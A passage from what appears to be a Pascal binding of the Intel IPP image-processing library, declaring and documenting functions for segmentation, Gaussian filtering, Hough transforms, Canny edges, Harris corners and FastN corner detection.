function ippiSegmentWatershed_32f16u_C1IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pMarker : Ipp16uPtr ; markerStep : Int32 ; roiSize : IppiSize ; norm : IppiNorm ; flag : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiBoundSegments_8u_C1IR, ippiBoundSegments_16u_C1IR
Purpose: Draw bounds between image segments
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width of the image or kernel size are less or equal zero
ippStsStepErr The steps in images are too small
Parameters:
pMarker Source and destination marker image
markerStep Its step
roiSize Image ROI size
norm Type of norm to form the mask for maximum search:
ippiNormInf Infinity norm (8-connectivity, 3x3 rectangular mask).
ippiNormL1 L1 norm (4-connectivity, 3x3 cross mask).
}
function ippiBoundSegments_8u_C1IR( pMarker : Ipp8uPtr ; markerStep : Int32 ; roiSize : IppiSize ; val : Ipp8u ; norm : IppiNorm ): IppStatus; _ippapi
function ippiBoundSegments_16u_C1IR( pMarker : Ipp16uPtr ; markerStep : Int32 ; roiSize : IppiSize ; val : Ipp16u ; norm : IppiNorm ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiLabelMarkersGetBufferSize_8u_C1R
ippiLabelMarkersGetBufferSize_8u32s_C1R
ippiLabelMarkersGetBufferSize_16u_C1R
Purpose: The functions calculate size of temporary buffer, required to run
marker labeling function
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
Parameters:
roiSize ROI size
pBufSize Temporary buffer size
}
function ippiLabelMarkersGetBufferSize_8u_C1R( roiSize : IppiSize ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippiLabelMarkersGetBufferSize_8u32s_C1R( roiSize : IppiSize ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippiLabelMarkersGetBufferSize_16u_C1R( roiSize : IppiSize ; var pBufSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiLabelMarkers_8u_C1IR
ippiLabelMarkers_8u32s_C1R
ippiLabelMarkers_16u_C1IR
Purpose: Labels connected non-zero components with different label values
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width of the image or kernel size are less or equal zero
ippStsStepErr The steps in images are too small
Parameters:
pMarker Source and destination marker image
markerStep Its step
roiSize Image ROI size
minLabel Minimal label value > 0
maxLabel Maximal label value < 255
norm Type of norm to form the mask for maximum search:
ippiNormL1 L1 norm (4-connectivity, 3x3 cross mask).
ippiNormInf Infinity norm (8-connectivity, 3x3 rectangular mask).
pNumber Pointer to number of markers
pBuffer Pointer to working buffer
}
function ippiLabelMarkers_8u_C1IR( pMarker : Ipp8uPtr ; markerStep : Int32 ; roiSize : IppiSize ; minLabel : Int32 ; maxLabel : Int32 ; norm : IppiNorm ; pNumber : Int32Ptr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiLabelMarkers_8u32s_C1R( pSrcMarker : Ipp8uPtr ; srcMarkerStep : Int32 ; pDstMarker : Ipp32sPtr ; dstMarkerStep : Int32 ; roiSize : IppiSize ; minLabel : Int32 ; maxLabel : Int32 ; norm : IppiNorm ; pNumber : Int32Ptr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiLabelMarkers_16u_C1IR( pMarker : Ipp16uPtr ; markerStep : Int32 ; roiSize : IppiSize ; minLabel : Int32 ; maxLabel : Int32 ; norm : IppiNorm ; pNumber : Int32Ptr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterGaussianGetBufferSize
Purpose: Computes the size of the working buffer for the Gaussian filter
Return:
ippStsNoErr Ok. Any other value indicates an error or a warning.
ippStsNullPtrErr One of the pointers is NULL.
ippStsSizeErr maxRoiSize has a field with zero or negative value.
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsBadArgErr Indicates an error if kernelSize is even or is less than 3.
ippStsChannelErr Indicates an error when numChannels has an illegal value.
Arguments:
maxRoiSize Maximal size of the image ROI in pixels.
kernelSize Size of the Gaussian kernel (odd, greater or equal to 3).
dataType Data type of the source and destination images.
numChannels Number of channels in the images. Possible values are 1 and 3.
pSpecSize Pointer to the computed size (in bytes) of the Gaussian
specification structure.
pBufferSize Pointer to the computed size (in bytes) of the external buffer.
}
function ippiFilterGaussianGetBufferSize( maxRoiSize : IppiSize ; KernelSize : Ipp32u ; dataType : IppDataType ; numChannels : Int32 ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterGaussianInit
Purpose: initialization of Spec for Gaussian filter
Return:
ippStsNoErr Ok. Any other value indicates an error or a warning.
ippStsNullPtrErr One of the pointers is NULL.
ippStsSizeErr roiSize has a field with zero or negative value.
ippStsDataTypeErr Indicates an error when borderType has an illegal value.
ippStsBadArgErr kernelSize is even or is less than 3.
ippStsChannelErr Indicates an error when numChannels has an illegal value.
ippStsBorderErr Indicates an error condition if borderType has a illegal
value.
Arguments:
roiSize Size of the image ROI in pixels.
kernelSize Size of the Gaussian kernel (odd, greater or equal to 3).
sigma Standard deviation of the Gaussian kernel.
borderType One of border supported types.
dataType Data type of the source and destination images.
numChannels Number of channels in the images. Possible values are 1 and 3.
pSpec Pointer to the Spec.
pBuffer Pointer to the buffer:
}
function ippiFilterGaussianInit( roiSize : IppiSize ; KernelSize : Ipp32u ; sigma : Ipp32f ; borderType : IppiBorderType ; dataType : IppDataType ; numChannels : Int32 ; pSpec : IppFilterGaussianSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterGaussianBorder
Purpose: Applies Gaussian filter with borders
Return:
ippStsNoErr Ok. Any other value indicates an error or a warning.
ippStsNullPtrErr One of the specified pointers is NULL.
ippStsSizeErr roiSize has a field with zero or negative value.
ippStsStepErr Indicates an error condition if srcStep or dstStep is less
than roiSize.width * <pixelSize>.
ippStsNotEvenStepErr One of the step values is not divisible by 4 for floating-point images.
ippStsBadArgErr kernelSize is less than 3 or sigma is less or equal than 0.
Arguments:
pSrc Pointer to the source image ROI.
srcStep Distance in bytes between starts of consecutive lines in the source image.
pDst Pointer to the destination image ROI.
dstStep Distance in bytes between starts of consecutive lines in the destination image.
roiSize Size of the source and destination image ROI.
borderValue Constant value to assign to pixels of the constant border. if border type equals ippBorderConstant
pSpec Pointer to the Gaussian specification structure.
pBuffer Pointer to the working buffer.
}
function ippiFilterGaussianBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderValue : Ipp32f ; pSpec : IppFilterGaussianSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterGaussianBorder_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderValue : Ipp16u ; pSpec : IppFilterGaussianSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterGaussianBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderValue : Ipp16s ; pSpec : IppFilterGaussianSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterGaussianBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderValue : Ipp8u ; pSpec : IppFilterGaussianSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterGaussianBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderValue : Ipp32f_3 ; pSpec : IppFilterGaussianSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterGaussianBorder_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderValue : Ipp16u_3 ; pSpec : IppFilterGaussianSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterGaussianBorder_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderValue : Ipp16s_3 ; pSpec : IppFilterGaussianSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterGaussianBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderValue : Ipp8u_3 ; pSpec : IppFilterGaussianSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFindPeaks3x3GetBufferSize
Purpose: Computes the size of the working buffer for the peak search
Return:
ippStsNoErr Ok. Any other value indicates an error or a warning.
ippStsNullPtrErr Indicates an error condition if the pointer pBufferSize is NULL.
ippStsSizeErr Indicates an error condition if maskSize has a field with zero
or negative value, or if roiWidth is less than 1.
Arguments:
roiWidth Maximal image width (in pixels).
pBufferSize Pointer to the computed size of the buffer.
}
function ippiFindPeaks3x3GetBufferSize_32f_C1R( roiWidth : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFindPeaks3x3GetBufferSize_32s_C1R( roiWidth : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFindPeaks3x3
Purpose: Finds coordinates of peaks (maximums or minimums) with absolute value
exceeding threshold value
Return:
ippStsNoErr Ok. Any other value indicates an error or a warning.
ippStsNullPtrErr One of the specified pointers is NULL.
ippStsSizeErr Indicates an error condition if roiSize has a field
with zero or negative value or if maxPeakCount is less
than or equal to zero, or if Border is less than 1 or
greater than 0.5* roiSize.width or. greater than 0.5* roiSize.hight
ippStsStepErr Indicates an error condition if srcStep is less than roiSize.width * <pixelSize>
ippStsNotEvenStepErr Indicates an error condition if one of the step values is
not divisible by 4 for floating-point or 32-bit integer images.
ippStsBadArgErr Indicates an error condition if norm value is wrong.
Arguments:
pSrc Pointer to the source image ROI.
srcStep Distance in bytes between starts of consecutive lines in the source image.
roiSize Size of the image ROI in pixels.
threshold Threshold value.
pPeak Pointer to the maximum coordinates [maxPeakCount].
maxPeakCount Maximal number of peaks.
pPeakCount Number of detected peaks.
norm Type of norm to form the mask for maximum search:
ippiNormInf Infinity norm (8-connectivity, 3x3 rectangular mask).
ippiNormL1 L1 norm (4-connectivity, 3x3 cross mask).
Border Border value, only pixel with distance from the edge of the image
greater than Border are processed.
pBuffer Pointer to the working buffer.
}
function ippiFindPeaks3x3_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; threshold : Ipp32f ; pPeak : IppiPointPtr ; maxPeakCount : Int32 ; pPeakCount : Int32Ptr ; norm : IppiNorm ; Border : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFindPeaks3x3_32s_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; roiSize : IppiSize ; threshold : Ipp32s ; pPeak : IppiPointPtr ; maxPeakCount : Int32 ; pPeakCount : Int32Ptr ; norm : IppiNorm ; Border : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiHoughLineGetSize_8u_C1R()
Purpose: Calculate the size of temporary buffer for ippiHoughLine_8u32f_C1R function.
Arguments:
roiSize The size of source ROI.
delta Discretization step, delta.rho - distance resolution in pixels, delta.theta - angle resolution in radians
maxLineCount The size of detected line buffer
pBufSize Pointer to the computed size of the temporary buffer
Return:
ippStsNoErr Ok
ippStsNullPtrErr pBufSize is NULL
ippStsSizeErr The roiSize or delta has a field with zero or negative value
ippStsOverflow The size of buffer too big. Overflow.
}
function ippiHoughLineGetSize_8u_C1R( roiSize : IppiSize ; delta : IppPointPolar ; maxLineCount : Int32 ; var pBufSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiHoughLine_8u32f_C1R()
Purpose: Perform Hough transform algorithm
Arguments:
pSrc Pointer to the source image ROI
srcStep Distance in bytes between starts of consecutive lines in the source image
roiSize The size of source ROI.
delta Discretization step, delta.rho - distance resolution in pixels, delta.theta - angle resolution in radians
threshold Threshold for a line is detected (if accumulator value > threshold)
pLine Pointer to output array of detected lines
maxLineCount Size of output array pLine in elements
pLineCount Number of detected lines. If founded more than maxLineCount lines than function returns "ippStsDstSizeLessExpected" status
pBuffer Pointer to the pre-allocated temporary buffer
Return:
ippStsNoErr Ok
ippStsNullPtrErr pSrc or pLine or pLineCount or pBuffer is NULL
ippStsStepErr srcStep is not valid
ippStsSizeErr roiSize has a field with zero or negative value or maxLineCount is zero or negative
ippStsBadArgErr threshold or is less than or equal to zero or delta.rho less 0 or more ROI width+height or delta.theta less 0 or more PI
ippStsDstSizeLessExpected Ok, but lines detected more than maxLineCount
}
function ippiHoughLine_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; delta : IppPointPolar ; threshold : Int32 ; pLine : IppPointPolarPtr ; maxLineCount : Int32 ; pLineCount : Int32Ptr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{
Name: ippiHoughLine_Region_8u32f_C1R
Purpose: Perform Hough transform algorithm in defined region
Arguments:
pSrc Pointer to the source image ROI
srcStep Distance in bytes between starts of consecutive lines in the source image
roiSize The size of source ROI.
pLine Pointer to output array of detected lines
dstRoi Bottom left and top right corners of searched lines. All founded lines must be
in this area. (line[n].rho>=dstRoi[0].rho && line[n].theta>=dstRoi[0].theta &&
line[n].rho<=dstRoi[1].rho && line[n].theta<=dstRoi[1].theta)
maxLineCount Size of output array pLine in elements
pLineCount Number of detected lines. If founded more than maxLineCount lines than function returns "ippStsDstSizeLessExpected" status
delta Discretization step, delta.rho - distance resolution in pixels, delta.theta - angle resolution in radians
threshold Threshold for a line is detected (if accumulator value > threshold)
pBuffer Pointer to the pre-allocated temporary buffer
Return:
ippStsNoErr Ok
ippStsNullPtrErr pSrc or pLine or pLineCount or pBuffer is NULL
ippStsStepErr srcStep is not valid
ippStsSizeErr roiSize has a field with zero or negative value or maxLineCount is zero or negative
ippStsBadArgErr threshold or is less than or equal to zero or delta.rho less 0 or more ROI width+height or
delta.theta less 0 or more PI or dstRoi[0].rho more dstRoi[1].rho or dstRoi[0].theta more dstRoi[1].theta
ippStsDstSizeLessExpected Ok, but lines detected more than maxLineCount
}
function ippiHoughLine_Region_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pLine : IppPointPolarPtr ; dstRoi : IppPointPolar_2 ; maxLineCount : Int32 ; pLineCount : Int32Ptr ; delta : IppPointPolar ; threshold : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHoughProbLineGetSize_8u_C1R( roiSize : IppiSize ; delta : IppPointPolar ; var pSpecSize : Int32 ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippiHoughProbLineInit_8u32f_C1R( roiSize : IppiSize ; delta : IppPointPolar ; hint : IppHintAlgorithm ; pSpec : IppiHoughProbSpecPtr ): IppStatus; _ippapi
function ippiHoughProbLine_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; threshold : Int32 ; lineLength : Int32 ; lineGap : Int32 ; pLine : IppiPointPtr ; maxLineCount : Int32 ; pLineCount : Int32Ptr ; pBuffer : Ipp8uPtr ; const pSpec : IppiHoughProbSpecPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiCannyBorder_8u_C1R
Purpose: Perform convolution operation with fixed kernels 3x3 and 5x5 and creates binary image of source`s image edges,
using derivatives of the first order.
Parameters:
pSrc The pointer to the source image
srcStep The step in the source image
pDst The pointer to the destination image
dstStep The step in the destination image
roiSize The image ROI size
filterType the filter type(ippFilterSobel,ippFilterScharr)
mask The mask size(ippMskSize3x3,ippMskSize5x5)
borderType Type of border. Possible values are:
ippBorderConst Values of all border pixels are set to constant.
ippBorderRepl Border is replicated from the edge pixels.
ippBorderInMem Border is obtained from the source image pixels in memory.
Mixed borders are also supported. They can be obtained by the bitwise operation OR between ippBorderRepl and ippBorderInMemTop, ippBorderInMemBottom, ippBorderInMemLeft, ippBorderInMemRight.
borderValue The value for the constant border
lowThresh Low threshold for edges detection
highThresh Upper threshold for edges detection
norm Norm type (ippNormL1,ippNormL2)
pBuffer Pointer to the pre-allocated temporary buffer, which size can be
calculated using ippiCannyEdgeDetectionGetSize function
Return:
ippStsNoErr Ok
ippStsMaskSizeErr Indicates an error when mask has an illegal value.
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsNotEvenStepErr Step is not multiple of element.
ippStsBadArgErr Bad thresholds
}
function ippiCannyBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; filterType : IppiDifferentialKernel ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; lowThresh : Ipp32f ; highThresh : Ipp32f ; norm : IppNormType ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiCannyBorderGetSize
Purpose: Calculates size of temporary buffer, required to run ippiCannyBorder_8u_C1R function.
Parameters:
roiSize Size of image ROI in pixel
filterType The filter type(ippFilterSobel,ippFilterScharr)
mask The mask size(ippMskSize3x3,ippMskSize5x5)
dataType Data type of the image. Possible values are Ipp8u, Ipp16u, Ipp16s, or Ipp32f.
pBufferSize Pointer to the variable that returns the size of the temporary buffer
Return:
ippStsNoErr Ok
ippStsNullPtrErr Pointer bufferSize is NULL
ippStsMaskSizeErr Indicates an error when mask has an illegal value.
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsSizeErr roiSize has a field with zero or negative value
}
function ippiCannyBorderGetSize( roiSize : IppiSize ; filterType : IppiDifferentialKernel ; mask : IppiMaskSize ; dataType : IppDataType ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiHarrisCornerGetBufferSize
Purpose: Computes the size of the external buffer for ippiHarrisCorner function
Parameters:
roiSize Size of the source and destination ROI in pixels.
filterMask Linear size of derivative filter aperture.
avgWndSize Neighborhood block size for smoothing
dataType Data type of the source image.
numChannels Number of channels in the images. Possible values is 1.
pBufferSize Pointer to the size (in bytes) of the external work buffer.
Return Values:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when pBufferSize is NULL.
ippStsSizeErr Indicates an error in the two cases:
if roiSize is negative, or equal to zero;
if avgWndSize is equal to zero.
ippStsFilterTypeErr Indicates an error when filterType has illegal value.
ippStsMaskSizeErr Indicates an error condition if mask has a wrong value.
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsNumChannelsErr Indicates an error when numChannels has an illegal value.
}
function ippiHarrisCornerGetBufferSize( roiSize : IppiSize ; filterMask : IppiMaskSize ; avgWndSize : Ipp32u ; dataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiHarrisCorner
Purpose: Performs Harris corner detector operations
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image in pixels.
roiSize Size of the source and destination image ROI.
filterType Type of derivative operator
filterMask Predefined mask of IppiMaskSize type.
avgWndSize Size of a rectangle Window for computing an average value
k Harris Corner free coefficient
scale Destination image scale factor
border Type of the border
borderValue Constant value to assign to pixels of the constant border. if border type equals ippBorderConstant
pBuffer Pointer to the work buffer
Return Values:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error condition if pSrc, pDst or pBufferSize is NULL.
ippStsSizeErr Indicates an error in the two cases:
if roiSize is negative, or equal to zero;
if avgWndSize is equal to zero.
ippStsNotEvenStepErr Indicated an error when dstStep is not divisible by 4.
ippStsFilterTypeErr Indicates an error when filterType has illegal value.
ippStsMaskSizeErr Indicates an error condition if mask has an illegal value.
ippStsBorderErr Indicates an error when borderType has illegal value.
ippStsStepErr Indicates an error condition, if srcStep or dstStep has negative value
ippStsInplaceModeNotSupportedErr Indicates an error condition, if the pSrc and pDst points to the same image
}
function ippiHarrisCorner_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; filterType : IppiDifferentialKernel ; filterMask : IppiMaskSize ; avgWndSize : Ipp32u ; k : float ; scale : float ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHarrisCorner_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; filterType : IppiDifferentialKernel ; filterMask : IppiMaskSize ; avgWndSize : Ipp32u ; k : float ; scale : float ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiLineSuppressionGetBufferSize
Purpose: Computes the size of the external buffer for ippiLineSuppression function
Parameters:
roiSize Size of the source and destination ROI in pixels.
filterMask Linear size of derivative filter aperture.
avgWndSize Neighborhood block size for smoothing
dataType Data type of the source image.
numChannels Number of channels in the images. Possible values is 1.
pBufferSize Pointer to the size (in bytes) of the external work buffer.
Return Values:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when pBufferSize is NULL.
ippStsSizeErr Indicates an error in the two cases:
if roiSize is negative, or equal to zero;
if avgWndSize is equal to zero.
ippStsFilterTypeErr Indicates an error when filterType has illegal value.
ippStsMaskSizeErr Indicates an error condition if mask has a wrong value.
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsNumChannelsErr Indicates an error when numChannels has an illegal value.
}
function ippiLineSuppressionGetBufferSize( roiSize : IppiSize ; filterMask : IppiMaskSize ; avgWndSize : Ipp32u ; dataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiLineSuppression
Purpose: Performs Line Suppression algorithm
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pFeature Pointer to the feature points image
featureStep Step through the feature points image
pDst Pointer to the destination image
dstStep Step through the destination image in pixels.
roiSize Size of the source and destination image ROI.
filterType Type of derivative operator
filterMask Predefined mask of IppiMaskSize type.
avgWndSize Size of a rectangle Window for computing an average value
threshold Line suppression threshold
border Type of the border
borderValue Constant value to assign to pixels of the constant border. if border type equals ippBorderConstant
pBuffer Pointer to the work buffer
Return Values:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error condition if pSrc, pFeature, pDst or pBufferSize is NULL.
ippStsSizeErr Indicates an error in the two cases:
if roiSize is negative, or equal to zero;
if avgWndSize is equal to zero.
ippStsFilterTypeErr Indicates an error when filterType has illegal value.
ippStsMaskSizeErr Indicates an error condition if mask has an illegal value.
ippStsBorderErr Indicates an error when borderType has illegal value.
ippStsStepErr Indicates an error condition, if srcStep or dstStep has negative value
ippStsInplaceModeNotSupportedErr Indicates an error condition if the pFeature and pDst points to the same image
}
function ippiLineSuppression_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pFeature : Ipp8uPtr ; featureStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; filterType : IppiDifferentialKernel ; filterMask : IppiMaskSize ; avgWndSize : Ipp32u ; threshold : float ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMarkSpecklesGetBufferSize
Purpose: Computes the size of the external buffer for ippiFilterSpeckle function
Parameters:
dstRoiSize Size of destination ROI in pixels.
dataType Data type of the source and destination images.
numChannels Number of channels in the images. Possible value is 1.
pBufferSize Pointer to the size (in bytes) of the external work buffer.
Return Values:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when pBufferSize is NULL.
ippStsSizeErr Indicates an error when roiSize is negative, or equal to zero.
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsNumChannelsErr Indicates an error when numChannels has an illegal value.
}
function ippiMarkSpecklesGetBufferSize( roiSize : IppiSize ; dataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMarkSpeckles
Purpose: Performs filtering of small noise blobs (speckles)
in the image
Parameters:
pSrcDst Pointer to the source and destination image
srcDstStep Step through the source and destination image
roiSize Size of the source and destination image ROI.
speckleVal The disparity value used to paint-off the speckles
maxSpeckleSize The maximum speckle size to consider it a speckle.
maxPixDiff Maximum difference between neighbor pixels to put them into the same blob.
norm Specifies type of the norm to form the mask for marker propagation:
ippiNormInf Infinity norm (8-connectivity);
ippiNormL1 L1 norm (4-connectivity).
pBuffer Pointer to the work buffer
Return Values:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error condition if pSrc, pDst or pBufferSize is NULL.
ippStsSizeErr Indicates an error when roiSize is negative, or equal to zero.
ippStsNotEvenStepErr Indicated an error when one of the step values is not divisible by 4
for floating-point images, or by 2 for short-integer images.
ippStsNormErr Indicates an error when norm is incorrect or not supported
}
function ippiMarkSpeckles_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; speckleVal : Ipp8u ; maxSpeckleSize : Int32 ; maxPixDiff : Ipp8u ; norm : IppiNorm ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMarkSpeckles_16u_C1IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; speckleVal : Ipp16u ; maxSpeckleSize : Int32 ; maxPixDiff : Ipp16u ; norm : IppiNorm ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMarkSpeckles_16s_C1IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; speckleVal : Ipp16s ; maxSpeckleSize : Int32 ; maxPixDiff : Ipp16s ; norm : IppiNorm ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMarkSpeckles_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; speckleVal : Ipp32f ; maxSpeckleSize : Int32 ; maxPixDiff : Ipp32f ; norm : IppiNorm ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ -------------------------- FastN ------------------------------------------- }
{ ----------------------------------------------------------------------------
Name: ippiFastNGetSize
Purpose: initialization of Spec for FastN
Parameters:
srcSize Roi size (in pixels) of source image what will be applied
for processing
circleRadius Radius for corner finding. Possible values are 1, 3, 5, 7, 9.
N Critical number of pixels that have different value.
orientationBins The number bins for defining dirrection
option defines the moded of processing
dataType Data type of the source images. Possible value is Ipp8u.
nChannels Number of channels in the images. Possible value is 1.
pSpecSize Pointer to the size (in bytes) of the spec.
Return:
ippStsNoErr OK
ippStsNullPtrErr pointer to pSpecSize is NULL
ippStsSizeErr size of srcSize is less or equal 0
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsNumChannelsErr Indicates an error when numChannels has an illegal value.
ippStsOutOfRangeErr Indicates an error when orientation Bins or N have an illegal value.
ippStsBadArgErr Indicates an error when option or circleRadius have an illegal value.
}
function ippiFastNGetSize( srcSize : IppiSize ; circleRadius : Int32 ; N : Int32 ; orientationBins : Int32 ; option : Int32 ; dataType : IppDataType ; nChannels : Int32 ; var pSpecSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFastNInit
Purpose: to define spec size for FastN
Parameters:
srcSize Roi size (in pixels) of source image what will be applied
for processing
circleRadius Radius for corner finding. Possible values are 1, 3, 5, 7, 9.
N Critical number of pixels that have different value.
orientationBins The number bins for defining dirrection
option defines the moded of processing
threshold the level for definition of critical pixels
dataType Data type of the source images. Possible value is Ipp8u.
nChannels Number of channels in the images. Possible value is 1.
pSpec pointer to Spec
Return:
ippStsNoErr OK
ippStsNullPtrErr pointer to pSpecSize is NULL
ippStsSizeErr size of srcSize is less or equal 0
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsNumChannelsErr Indicates an error when numChannels has an illegal value.
ippStsOutOfRangeErr Indicates an error when orientation Bins or N have an illegal value.
ippStsBadArgErr Indicates an error when option or circleRadius have an illegal value.
ippStsThresholdErr threshold ia less 0
}
function ippiFastNInit( srcSize : IppiSize ; circleRadius : Int32 ; N : Int32 ; orientationBins : Int32 ; option : Int32 ; threshold : Ipp32f ; dataType : IppDataType ; nChannels : Int32 ; pSpec : IppiFastNSpecPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFastNGetBufferSize
Purpose: to define size of working buffer for FastN
Parameters:
pSpec pointer to Spec
dstRoiSiz Roi size (in pixels) of destination image what will be applied
for processing
pBufSize Pointer to the size (in bytes) of the working buffer.
}
function ippiFastNGetBufferSize( pSpec : IppiFastNSpecPtr ; dstRoiSize : IppiSize ; var pBufSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFastN_8u_C1R
Purpose: corner finding FastN
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDstCorner Pointer to the destinartion corner image
